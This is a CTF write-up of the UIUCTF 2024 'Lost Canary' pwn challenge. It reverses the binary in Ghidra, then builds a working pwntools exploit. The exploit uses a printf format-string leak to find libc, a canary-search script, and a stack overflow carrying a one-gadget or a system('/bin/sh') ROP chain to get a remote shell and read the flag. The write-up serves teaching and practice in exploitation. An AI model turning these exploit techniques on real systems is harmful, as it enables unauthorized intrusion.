CTFtime.org / UIUCTF 2024 / Lost Canary

ctftime team

Challenge

The challenge comes with a buch of files: The most relevant one is the challenge binary itself. The other files are the libc, the loader and the Dockerfile used for deployment on remote and a Makefile that gives a hint that the source code of the challenge was generated by a python script.

The challenge itself consists of two parts: First we have to reverse the binary and then we have to exploit it in order to get the flag on a remote instance.

Reversing the binary

After importing the binary into Ghidra, we first noticed that the binary even has symbols. This is quite uncommon, since most reversing challenges come with stripped binaries, since function names often reflect what a function does and would therefore spoil the entire challenge. Aside from some default functions added by the compiler, there are three interesting functions: `main`, `select_station` and 32768 similar numbered functions of the format `station_xxx`.

main

So let's start with `main`.

```
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("SIGPwny Transit Authority Ticketmaster.\nPardon our slow UI!");
  select_station();
  return 0;
}
```

`main` first does the obligatory call to `setvbuf` to disable the caching on `stdin` and `stdout`. This is necessary, to ensure that the input and especially the output of the challenge is not cached and can therefore be used by the participants to better script the interaction with the challenge. While Ghidra does quite a good job on decompiling the code a human readable C-like code, it does not resolve macros. So to verify that the value `2`` really disables caching, we can use Ghidra's equates and find the correct macro for the function call.

The remaining part of main just prints a welcome text and calls `select_station`.

select_station

So let's move on to `select_station`. After some renaming of variables and changing the type of `index` from `uint` to `int` to get a more natural `-1` instead of the `0xffffffff` originally decompiled by Ghidra, we end up with the following code:

```
void select_station(void)

{
  undefined8 buffer;
  undefined8 buffer_8_8;
  undefined local_18;
  int index;

  index = -1;
  buffer = 0;
  buffer_8_8 = 0;
  local_18 = 0;
  printf("Enter station number: ");
  fgets((char *)&buffer,0x10,stdin);
  puts("Traveling to station: ");
  printf((char *)&buffer);
  putchar(10);
  index = atoi((char *)&buffer);
  if ((uint)index < 0x8000) {
                    /* WARNING: Could not recover jumptable at 0x00464a2e. Too many branches */
                    /* WARNING: Treating indirect jump as call */
    (*(code *)(&DAT_0065d044 + *(int *)(&DAT_0065d044 + (ulong)index * 4)))();
    return;
  }
  puts("Invalid station!");
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

As with `main`, we can change the representation of the function arugments and the range check with other representations like a decimal one for the range check and the call to `fgets` or a cahr one (`L'\n'`) for the call to `putchar` to increase readability.

We could furthermore use the cast of `buffer` for `fgets` and `printf` together with the length argument from `fgets` to retype `buffer` to `char[16]`. However this comes at a huge cost, since Ghidra will generate C code to zero each char of the array seperately. In contrast with the current cast as

As the name already spoils, this function asks us for a station number, converts it to an integer and then jumps to the function of the corresponding station. While Ghidra was able to decompile most of the binary, it failed in recovering the calling of the station functions. As indicated by the warning inserted by Ghidra, the code uses a long jumptable. If we switch into the disassembly at the function call, we will see, that there is lots of data that was not disassembled. If we manually mark a chunk of it for disassembly, we will see, that it really is a call to one of the station functions followed by a jump to the return. This was very likely a `switch` statement in the code generated by the python script.

We can further notice, that this function calls `printf` with a user provided input as first argument. This allows us to specify the format string, which will come handy for the exploitation part of the challenge.

With this knowledge, we can move on to the station functions.

station_0

Let's start with station_0. After some renaming, we get the following code:

```
void station_0(void)

{
  char input_buffer [4100];
  char copy_buffer [4];
  ulong canary;

  canary = __stack_chk_guard_0;
  printf("%s","Welcome to station 0.\nEnter ticket code:");
  fgets(input_buffer,0x1000,stdin);
  strcpy(copy_buffer,input_buffer);
  canary = canary ^ __stack_chk_guard_0;
  if (canary != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

The function starts with copying a canary onto the stack. While the canary normally is read from a special register that contains a canary randomly generated at application startup, this binary uses a constant from the application. The canaries generated by the kernel start with a null byte to prevent leaking it with unterminated strings right infront of it and then features seven random characters to make it unguessable. The one used in this challenge is different as it a null byte in the middle and contains 7 ASCII characters: `0x56686A4354004661`.

After that, the function prints a station specific welcome banner and asks us to enter a ticket code. The code is then read into a long stack buffer of appropriate size. Immediately after that, it is copied over into another stack buffer, which in contrast is much smaller than the previous one, resulting in a stack buffer overflow. Again, this will become relevant for the exploitation part of the challenge.

Lastly, the function checks the canary and fails if the canary was altered. The `xor` with the following comparison to zero is just a slightly obfuscated comparison, since `xor` with the same value will flip all `1` bits to `0` and leave all `0` bits unchanged, resulting in all bits being `0`.

station_2

Since `station_1` is identical except that it uses a different canary, let's have a look at `station_2` (again after some renaming):

```
void station_2(void)

{
  char buffer [4];
  ulong canary;

  canary = __stack_chk_guard_2;
  sleep(1);
  printf("%s","Welcome to station 2.\nEnter ticket code:");
  gets(buffer);
  canary = canary ^ __stack_chk_guard_2;
  if (canary != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

As with both previous stations, this one copies a constant canary from the binary onto the stack, prints a station specific welcome banner, asks for some input and returns if the canary wasn't changed.

In contrast to both previous functions, the entered ticket is directly read into a short stack buffer. Furthermore and more importantly the stack buffer overflow is accomplished by calling `gets`, a function that reads an unlimited amount of characters from `stdin` into the provided buffer. As a result, there is not really a safe way of using `gets`.

station_7

`station_7` is the next different function:

```
void station_7(void)

{
  char buffer [4];
  ulong canary;

  canary = __stack_chk_guard_6._8_8_;
  printf("%s","Welcome to station 7.\nEnter ticket code:");
  __isoc99_scanf("%s",buffer);
  canary = canary ^ __stack_chk_guard_6._8_8_;
  if (canary != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

This function showcased some other unconvinient decompilation of Ghidra:

- short constant strings, like the `"%s"` in this case, are not recognized and must be typed manually, either by explicitly retyping it as char array or by setting it to `TerminatedCString`.
- sometimes Ghidra fails to properly deduce the length of constants/variables, as in this case, where it joined multiple constants/variables into a large string/blob. As a result, the desired portion of the large blob is extracted by Ghidra's underscore syntax. The first number is the starting position in the larger blob and the second number is the length of the data. So in this case, the canary starts at byte 8 of the blob and is 8 byte long.

The buffer overflow in this function works similar to the one in `gets`: The `%s` format specifier of `scanf` (`__isoc99_scanf` is glibc's default implementation of `scanf`) reads in an unlimeted amount of characters, resulting in it being notoriously unsafe. To get it safe, we have to specify the length of the string, i.e. `%16s`.

Scrolling further through the functions does not reveal any new type of `station_xxx` function, so we can start exploiting.

Exploitation the binary

From reversing, we found three different vulnerabilities:

- A user provided format string for `printf` in `select_station`,
- a stack buffer overflow in each of the `station_xxx` functions and
- constant canaries in the `station_xxx` fucntions.

So let's start by a look on the application's security measures:

```
$ pwn checksec lost_canary
[*] '/tmp/lost_canary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

TLDR: `lost_canary` employs all of the commonly used security features:

- Full RELRO: For dynmic linking, all functions that come from external libraries are called over the global offset table (GOT), which is a list of function pointers. Historically this list was resolved lazily during runtime on first call of the function. Therefore, it had to be writeable, which allows attackers to change to pointer to different functions. When full RELRO is enabled, the GOT is resolved on application startup so that the GOT can be mounted readonly. (Therefore the name: RELocation ReadOnly)
- Canary: A secret value is placed above the return address onto the stack. If there is a buffer overfow, the canary get overwritten before the return address. While this cannot prevent a buffer overflow, it helps detecting it, allowing the defender to crash the application.
- NX: Back in ancient times, the stack was executable, allowing attackers to write byte code into existing buffers and later calling it. As a result, one of the first security measures introduced was to have no pages that are writeable and executable at the same time.
- PIE: Stands for Position Independent Executable. Those applications are compiled such that the can be loaded into memory at a random position. For libraries this is called Position Independent Code (PIC). The overall technique of randomizing the different memory regions of a process is called Address Space Layout Randomization (ASLR) and is the reason why the application, libraries and stack have different position on each run. This makes exploiting applications harder, since the attaćker needs an address leak in order to know where the desired code/data is located. ASLR is activated by default on all major linux distributions.

As the binary does not feature a function to get the flag, the probably easiest and most comfortable strategy is getting a shell and then using `cat` to get the flag.

Since we don't have writable and executable memory region, we have to work with existing code to get a shell. The most common strategy for this is by overwriting a return address on the stack. Luckily we have a sufficient stack buffer overflow to achieve this. Since the binary and libraries typically do not feature a ready to use function ot get a shell, we have to build this from peaces. A widely used technique for this is Return Oriented Programming (ROP). For ROP, we search for instructions close to a return statement. Since this return will read an address from the stack and execute it, we can place the address of the next address there, resulting in a chain of short snippets, the so called gadgets, forming a (ROP) chain. So we can use gadgets to prepare the first argument register for a call to system in order to get shell.

Alternatively, we can make use of a one gadget. A one gadget is snippet of code that, if certain conditions are fullfilled, will directly launch a shell. Since one gadgets make exploiting applications easier, there was an effort in the last years to remove them from libc, such that current version contain nearly no one gadgets. Luckily, this challenge uses a four year old version of libc, which has plenty of one gadgets.

Leal libc address

To use such gadgets, we have to know their location, which is randomized by ASLR. The needed leek can be achieved by the format string injection in `select_station`. This works because of two features:

1. `atoi` parses a string until the first char that is no valid digit. This allows us to first specify a station and then some format string injection that leaks us the location of libc.
2. `printf` assumes a suitable amount of arguments. The first arguments are taken from the appropriate registers, while the sixth and following arguments for the format string are read from stack. Furthermore we can use format specifiers like `%12$p` to read the 12 format argument without first reading all previous ones. This is important as our format string is restricted to 16 bytes.

To find a suitable argument, we can run the challenge in GDB and break at `printf`. Since plain GDB is quite basic, I'm using pwndbg, which is an extension that features a advanced commands that make debugging much more enjoyable. After setting the breakpoint (`break printf`), and starting the application with `run`, pwndbg stops at the first call to `printf`. Since this just prints the text of the prompt, we must `continue` the execution. Now we can enter the station number and our format injection. Since we are only interested in the stack layout of the format injection, the input is irrelevant. For assuring that we correctly assumed that the sixth argument is the first on the stack, lets use the following input: `AAAAAAAA %6$p`. If we are right, it should first print 8 `A`s, followed by the hex representation of those 8 `A`s, `0x4141414141414141`. Now the debugger breaks again, this time on the desired call to `printf`. With the command `stack 20`, we can view the 20 topmost stack entries:

```
pwndbg> stack 20
00:0000│ rsp 0x7fffffffe168 —▸ 0x5555558b89e7 (select_station+109) ◂— mov edi, 0ah
01:0008│ rdi 0x7fffffffe170 ◂— 'AAAAAAAA %6$p\n'
02:0010│-018 0x7fffffffe178 ◂— 0xa7024362520 /* ' %6$p\n' */
03:0018│-010 0x7fffffffe180 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
04:0020│-008 0x7fffffffe188 ◂— 0xffffffff00000000
05:0028│ rbp 0x7fffffffe190 —▸ 0x7fffffffe1a0 —▸ 0x7fffffffe240 —▸ 0x7fffffffe2a0 ◂— 0x0
06:0030│+008 0x7fffffffe198 —▸ 0x555555930a84 (main+85) ◂— mov eax, 0
07:0038│+010 0x7fffffffe1a0 —▸ 0x7fffffffe240 —▸ 0x7fffffffe2a0 ◂— 0x0
08:0040│+018 0x7fffffffe1a8 —▸ 0x7ffff7db2c88 (__libc_start_call_main+120) ◂— mov edi, eax
09:0048│+020 0x7fffffffe1b0 —▸ 0x7fffffffe1f0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— ...
0a:0050│+028 0x7fffffffe1b8 —▸ 0x7fffffffe2c8 —▸ 0x7fffffffe6aa ◂— '/tmp/lost_canary'
0b:0058│+030 0x7fffffffe1c0 ◂— 0x155554040
0c:0060│+038 0x7fffffffe1c8 —▸ 0x555555930a2f (main) ◂— endbr64
0d:0068│+040 0x7fffffffe1d0 —▸ 0x7fffffffe2c8 —▸ 0x7fffffffe6aa ◂— '/tmp/lost_canary'
0e:0070│+048 0x7fffffffe1d8 ◂— 0xb802e69ebc3b6672
0f:0078│+050 0x7fffffffe1e0 ◂— 0x1
10:0080│+058 0x7fffffffe1e8 ◂— 0x0
11:0088│+060 0x7fffffffe1f0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
12:0090│+068 0x7fffffffe1f8 ◂— 0x0
13:0098│+070 0x7fffffffe200 ◂— 0xb802e69ebbdb6672
```

There we can see our input starting right after the return address at index one. We can furthermore spot the return address into `main` and the further down at index 8 the return address from `main` back into libc. So let's use that address for finding the base address of libc. After accounting for the arguments from the registers, the wanted libc leak is at argument 13. When we now continue execution, we will see the expected output from our carefully crafted verifyer from earlier. If we wouldn't had that knowledge, we would have to experiment a bit until finding the correct index for a stack argument.

With that knowledge, we can start our exploit script. We can generate some base exploit template with

```
$ pwn template --host lost-canary.chal.uiuc.tf --port 1337 --libc libc-2.31.so lost_canary > lost_canary.py
```

This template contains mostly boiler plate code that allows us to easily switch between local and remote and to run our exploit with GDB attached. The relevant part is the one at the end between `io.start()` and `io.interactive()`. There we can interact with our instance. So let's start by leaking the libc address. For further developement, I specify the station in a varialble.

```
station = 0

io.start()

# wait for "Enter station number: " and send our wanted station with format string injection
io.sendlineafter(b"Enter station number: ", f"{station} %13$p".encode())
# skip boiler plate text
io.recvuntil(b"Traveling to station: \n")
# skip until the space in our format string
io.recvuntil(b" ")
# recv the leaked address and parse it as int
leak = int(io.recvline(), 16)
# get the base of libc and assign it to our libc object
libc.address = leak - libc.libc_start_main_return
# log leaked address in hex
log.info(f"found libc at {libc.address:#x}")

io.interactive()
```

Since the return address from `main` into libc is quite commonly used, pwntools is so kind to explicitly feature it as `.libc_start_main_return`. The substraction works, since pwntools by default assumes the binary is loaded with a base address of `0`, so that the substraction just removes the offset of the instruction returned to, resulting in the base address of the library.

Let's test the leak. The boiler plate code also features a variable named `gdbscript`. This variable contains commands that are executed if we start the exploit with GDB. Since we want to verify the leak, let's replace the temporary break point at `main` with our break at `printf:

```
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break printf
continue
'''.format(**locals())
```

Furthermore, we want to add the following line to the script, to split our tmux session horizontally with GDB on the right and our exploit on the left (the default is a vertical split with exploit on the top and)

```
context.terminal = ["tmux", "splitw", "-h"]
```

Alternatively, we can make the setting permanently in one of the possible config files, for example in `~/.config/pwn.conf`:

```
[context]
terminal=["tmux", "splitw", "-h"]
```

If we now start the script locally with GDB, we can compare the location of the libc with the leaked on from our script. To do that, we first start the script in tmux with `python lost_canary.py GDB LOCAL`. Now the script will interact with the challenge and break at `printf`. Likey previously, we have to continue at the first `printf`. Since we also want to see the output of `printf` to get a proper leak, we `finish` the call to `printf`. Now we have the libc leak logged in our script and can compare it with the real one. To get the libc base address, we can use the command `vmmap` in GDB, which will list us all memory regions, including those for libc. The first entry of libc should be equal with our logged address.

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /tmp/lost_canary
    0x555555555000     0x555555931000 r-xp   3dc000   1000 /tmp/lost_canary
    0x555555931000     0x555555c12000 r--p   2e1000 3dd000 /tmp/lost_canary
    0x555555c12000     0x555555c13000 r--p     1000 6bd000 /tmp/lost_canary
    0x555555c13000     0x555555c54000 rw-p    41000 6be000 /tmp/lost_canary
    0x555555efe000     0x555555f01000 rw-p     3000 9aa000 /tmp/lost_canary
    0x7ffff7dd3000     0x7ffff7dd5000 rw-p     2000      0 [anon_7ffff7dd3]
    0x7ffff7dd5000     0x7ffff7df7000 r--p    22000      0 /tmp/libc-2.31.so
    0x7ffff7df7000     0x7ffff7f6f000 r-xp   178000  22000 /tmp/libc-2.31.so
    0x7ffff7f6f000     0x7ffff7fbd000 r--p    4e000 19a000 /tmp/libc-2.31.so
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000 1e7000 /tmp/libc-2.31.so
    0x7ffff7fc1000     0x7ffff7fc3000 rw-p     2000 1eb000 /tmp/libc-2.31.so
    0x7ffff7fc3000     0x7ffff7fc9000 rw-p     6000      0 [anon_7ffff7fc3]
    0x7ffff7fc9000     0x7ffff7fcd000 r--p     4000      0 [vvar]
    0x7ffff7fcd000     0x7ffff7fcf000 r-xp     2000      0 [vdso]
    0x7ffff7fcf000     0x7ffff7fd0000 r--p     1000      0 /tmp/ld-2.31.so
    0x7ffff7fd0000     0x7ffff7ff3000 r-xp    23000   1000 /tmp/ld-2.31.so
    0x7ffff7ff3000     0x7ffff7ffb000 r--p     8000  24000 /tmp/ld-2.31.so
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  2c000 /tmp/ld-2.31.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  2d000 /tmp/ld-2.31.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
```

Getting a stack buffer overflow

As next step we need a working stack buffer overflow to overwrite the return address of one of the `station_xxx` functions with our ROP chain. So let's take a closer look at the four functions involved in our different buffer overflows:

- `fgets`: Stops at a newline
- `gets`: Stops at a newline
- `scanf` with `%s`: Stops at a whitespace
- `strcpy`: Stops at a null byte

In order to pass the canary, we have to overwrite it with the same value. Since the canaries are constant values from the application, we know the value. The problem is, that most of the canaries contain at least on character that will trigger the stop of one of the input functions. so we have to find a function with a canary that does not have a stopper.

Our first naive approach was to just execute the function with pwntools `process`, overwrite the return address with an invalid value and search for an instance that crashes. This would work, since if the canary would contain a stopper character, the additional input characters would be ignored and the application would just exit normally. Unfortunately, this does not work, since we were unable to get the return code of the process. The next best alternative would be to execute the process in a shell chained with an echo to register a successfull termination (`lost_canary && echo FINE`). After some testing, we ditched this approach, because it was quite slow.

As an alternative, we decided to disassemble the station functions, match the disassembly with the relevant functions that may stop our overwrite attempt check their constraints with the corresponding canary.

```
# for a nice progress bar
import tqdm

# find a suitable station for overwriting the complete canary
def get_station():
    # pwndbg skips the endbr64, which is 4 bytes
    scanf =  f"call{exe.symbols['__isoc99_scanf']-4:#x}\n"
    strcpy = f"call{exe.symbols['strcpy']-4:#x}\n"
    fgets = f"call{exe.symbols['fgets']-4:#x}\n"
    gets = f"call{exe.symbols['gets']-4:#x}\n"

    # iterate over all station functions and their canaries
    for i in tqdm.tqdm(range(31768)):
        # disassable the function and replace spaces to be sure to match
        code = exe.disasm(exe.functions[f"station_{i}"].address, exe.functions[f"station_{i}"].size).replace(" ", "")
        # get the canary
        guard = exe.read(exe.symbols[f"__stack_chk_guard_{i}"], 8)

        # continue with next station if a stopper was found
        if gets in code or fgets in code:
            if b"\n" in guard:
                continue
        if scanf in code:
            found = False
            for w in string.whitespace.encode():
                if w in guard:
                    found = True
                    break
            if found:
                continue
        if strcpy in code:
            if b"\0" in guard:
                continue
        # if we haven't returned until here, we have found a suitable station
        return i
    # notify us, if we haven't found a matching station
    else:
        log.failure("didn't found a match")
        exit(0)

station = get_station()
```

When a library function is called, the code calls a little snipped that gets the address of that function from the GOT and calls the function. The collection of these snippets is called Procedure Linkage Table (PLT).

```
                        **************************************************************
                        *                        THUNK FUNCTION                      *
                        **************************************************************
                        thunk char * gets(char * __s)
                        Thunked-Function: <EXTERNAL>::gets
        char *            RAX:8          <RETURN>
        char *            RDI:8          __s
                        <EXTERNAL>::gets                                XREF[11024]  station_2:001013f5(c),
                                                                                     station_4:001014da(c),
                                                                                     station_6:001015bf(c),
                                                                                     station_10:00101741(c),
                                                                                     station_11:001017a0(c),
                                                                                     station_12:001017ff(c),
                                                                                     station_15:00101920(c),
                                                                                     station_17:001019e0(c),
                                                                                     station_18:00101a3f(c),
                                                                                     station_25:00101d2e(c),
                                                                                     station_28:00101e74(c),
                                                                                     station_34:00102127(c),
                                                                                     station_35:00102186(c),
                                                                                     station_40:001023d8(c),
                                                                                     station_43:0010251e(c),
                                                                                     station_44:0010257d(c),
                                                                                     station_46:0010263d(c),
                                                                                     station_50:001027e4(c),
                                                                                     station_51:00102843(c),
                                                                                     station_52:001028a2(c), [more]
00101180 f3 0f 1e fa     ENDBR64
00101184 f2 ff 25        JMP        qword ptr [-><EXTERNAL>::gets]                                char * gets(char * __s)
            2d de 6b 00
                        -- Flow Override: CALL_RETURN (COMPUTED_CALL_TERMINATOR)
0010118b 0f              ??         0Fh
0010118c 1f              ??         1Fh
0010118d 44              ??         44h    D
0010118e 00              ??         00h
0010118f 00              ??         00h
```

As previously, pwntools offers us simple functions to get the address and the size of functions, an easy to use disassembler and a function to read the canaries. Please be aware, that pwntools will create a folder in `/tmp` to execute the disassemling of a function. Since we call the disassembler quite often, this will spam your `/tmp` until the script may clean it up during exit.

After some time (about half an hour on my 12 year old laptop), we get the result: The canary of `station_14927` does not contain a character the will stop the input function.

```
void station_14927(void)
```

```
{
  char local_14 [4];
  ulong local_10;

  local_10 = s_FovQMN_ZCz_JakRleBnJLdMI_SD_pYOZ_007dc257._49_8_;
  sleep(1);
  printf("%s","Welcome to station 14927.\nEnter ticket code:");
  gets(local_14);
  local_10 = local_10 ^ s_FovQMN_ZCz_JakRleBnJLdMI_SD_pYOZ_007dc257._49_8_;
  if (local_10 != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

The function features a call to `gets`. IF we want to see the canary, we can switch to the constant and clear the code bytes. Now, our symbol is properly displayed and we can read the canary: `eY iEuas`.

Get a shell

With that out of the way, we can build our ROP chain. As explained earlíer, we have two possibilities:

1. a one gadget
2. a rop chain to call `system("/bin/sh")`

one gadget

Before we start the process of finding a suitable one gadget, let's first ensure, that we execute the binary with the correct libc, as different versions of libc populate registers with different values in lots of functions. If we use our generated exploit script, pwntools will handle that. Otherwise, we can use `patchtelf` to set the interpreter and library path such that the application loads the provided loader and libc. We have to also set the loader, since it is coupled with the libc and having a version mismatch will likely cause a crash on startup.

```
patchelf --set-interpreter /tmp/ld-2.31.so --add-rpath . --output lost_canary_local lost_canary
```

For some unkown reason

Since one gadgets must fullfill certain conditions, lets break at the start of `station_14927` and step with `ni` (for next instruction) until we reach the return. Or we can again use `finish`, but this also executes the return. As a quality of live feature, GDB automatically executes the last command, if we just hit enter. With the `context` command, which is automatically executed every time we break, i.e. after each `ni`, we can get a good overview of the current state.

```
pwndbg> finish
Run till exit from #0  0x00005555556e01fe in station_14927 ()
AWelcome to station 14927.
Enter ticket code:
0x00005555558ef4dc in select_station ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────
*RAX  0x7361754569205965 ('eY iEuas')
 RBX  0x555555930a90 (__libc_csu_init) ◂— endbr64
*RCX  0x7ffff7fc1980 (_IO_2_1_stdin_) ◂— 0xfbad208b
*RDX  0x0
*RDI  0x7ffff7fc37f0 ◂— 0x0
*RSI  0x7ffff7fc1a03 (_IO_2_1_stdin_+131) ◂— 0xfc37f0000000000a /* '\n' */
*R8   0x7fffffffe1b4 ◂— 0x41 /* 'A' */
 R9   0x0
*R10  0x555555931033 ◂— 0x6c65570000000000
*R11  0x246
 R12  0x5555555551c0 (_start) ◂— endbr64
 R13  0x7fffffffe2f0 ◂— 0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffe1f0 —▸ 0x7fffffffe200 ◂— 0x0
*RSP  0x7fffffffe1d0 ◂— '14927 %13$p\n'
*RIP  0x5555558ef4dc (select_station+224098) ◂— jmp 555555930a2ch
────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────
 ► 0x5555558ef4dc <select_station+224098>    jmp    555555930a2ch                 <select_station+491698>
    ↓
   0x555555930a2c <select_station+491698>    nop
   0x555555930a2d <select_station+491699>    leave
   0x555555930a2e <select_station+491700>    ret
    ↓
   0x555555930a84 <main+85>                  mov    eax, 0
   0x555555930a89 <main+90>                  pop    rbp
   0x555555930a8a <main+91>                  ret
    ↓
   0x7ffff7df9083 <__libc_start_main+243>    mov    edi, eax
   0x7ffff7df9085 <__libc_start_main+245>    call   7ffff7e1ba40h                 <exit>

   0x7ffff7df908a <__libc_start_main+250>    mov    rax, qword ptr [rsp + 8]
   0x7ffff7df908f <__libc_start_main+255>    lea    rdi, [rip + 18fdd2h]
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe1d0 ◂— '14927 %13$p\n'
01:0008│-018 0x7fffffffe1d8 ◂— 0xa702433 /* '3$p\n' */
02:0010│-010 0x7fffffffe1e0 —▸ 0x555555555100 (printf@plt) ◂— endbr64
03:0018│-008 0x7fffffffe1e8 ◂— 0x3a4fffffe2f0
04:0020│ rbp 0x7fffffffe1f0 —▸ 0x7fffffffe200 ◂— 0x0
05:0028│+008 0x7fffffffe1f8 —▸ 0x555555930a84 (main+85) ◂— mov eax, 0
06:0030│+010 0x7fffffffe200 ◂— 0x0
07:0038│+018 0x7fffffffe208 —▸ 0x7ffff7df9083 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
 ► 0   0x5555558ef4dc select_station+224098
   1   0x555555930a84 main+85
   2   0x7ffff7df9083 __libc_start_main+243
   3   0x5555555551ee _start+46
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

Now we only need a list of one gadgets to find a suitable:

```
$ one_gadget libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
```

If this list does not feature enough one gadgets, we can get a longer list by increasing the level (e.g. `-l 10`). In this case, we already have a match: The second entry in the list fullfills our conditions.

So lets build the remaining part of the exploit:

```
rop_chain = p64(libc.address + 0xe3b01) # one_gadget with rdx & r15 == NULL
# buffer + canary + base pointer + return address
payload = b"A"*4 + b"eY iEuas" + p64(0) + rop_chain
# overflow buffer
io.sendlineafter(b"Enter ticket code:", payload)
# get the flag by hand
io.interactive()
```

ROP chain

With our ROP chain, we want to call `system("/bin/sh")`. As a result, we need to set `rdi`, the register for the first argument, to a pointer to `/bin/sh` and call `system`. Getting the string `/bin/sh` is no problem, since libc needs it interally for `system`. Furthermore the address of system can easily optained by pwntools. Pwntools also provides `p64`, a function to pack an integer into 8 bytes in the endianess needed by our application. The only common problem with ROP chains are instructions operating on `xmm` registers. Those registers are 128 bit wide and their instructions require the stack to be aligned to 16 byte. As a consequence we have to align the stack correctly. This can be achieved by a `ret` gadget, as it simply pops a return address from the stack and doesn't change something else, i.e. a `ret` gadget is some sort of `nop` for ROP. The rest of the procedure is identical to the one gadget case.

```
# find a set of rop gadgets
rop = ROP(libc)
# build rop chain
rop_chain = b""
# prepare first argument
rop_chain += p64(rop.rdi.address)
# set it to /bin/sh, this is a string in libc as it is needed for system
rop_chain += p64(next(libc.search(b"/bin/sh\0")))
# correctly align stack
rop_chain += p64(rop.ret.address)
# call system
rop_chain += p64(libc.symbols.system)
# buffer + canary + base pointer + rop chain
payload = b"A"*4 + b"eY iEuas" + p64(0) + rop_chain
# stack:
"""
eY iEuas
0
pop rdi; ret
-> /bin/sh
ret
system
"""
```

Flag

If now run the exploit, we get a shell.

By examining the Dockerfile, we can locate the flag at `/flag.txt`:

```
FROM ubuntu:20.04 as chroot
FROM gcr.io/kctf-docker/challenge@sha256:eb0f8c3b97460335f9820732a42702c2fa368f7d121a671c618b45bbeeadab28

COPY --from=chroot / /chroot
RUN mkdir -p /chroot/home/user
COPY ./lost_canary /chroot/home/user
COPY ./flag.txt /chroot/

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
   kctf_drop_privs \
  socat \
     TCP-LISTEN:1337,reuseaddr,fork \
     EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/lost_canary"
```

The `/chroot/` at the beginning of the path is consumed by the nsjail of kctf, which effectively sets `/chroot/` as our root folder (`/`).

As a result, we can receive the flag, by using `cat`:

```
$ cat /flag.txt
uiuctf{the_average_sigpwny_transit_experience}
```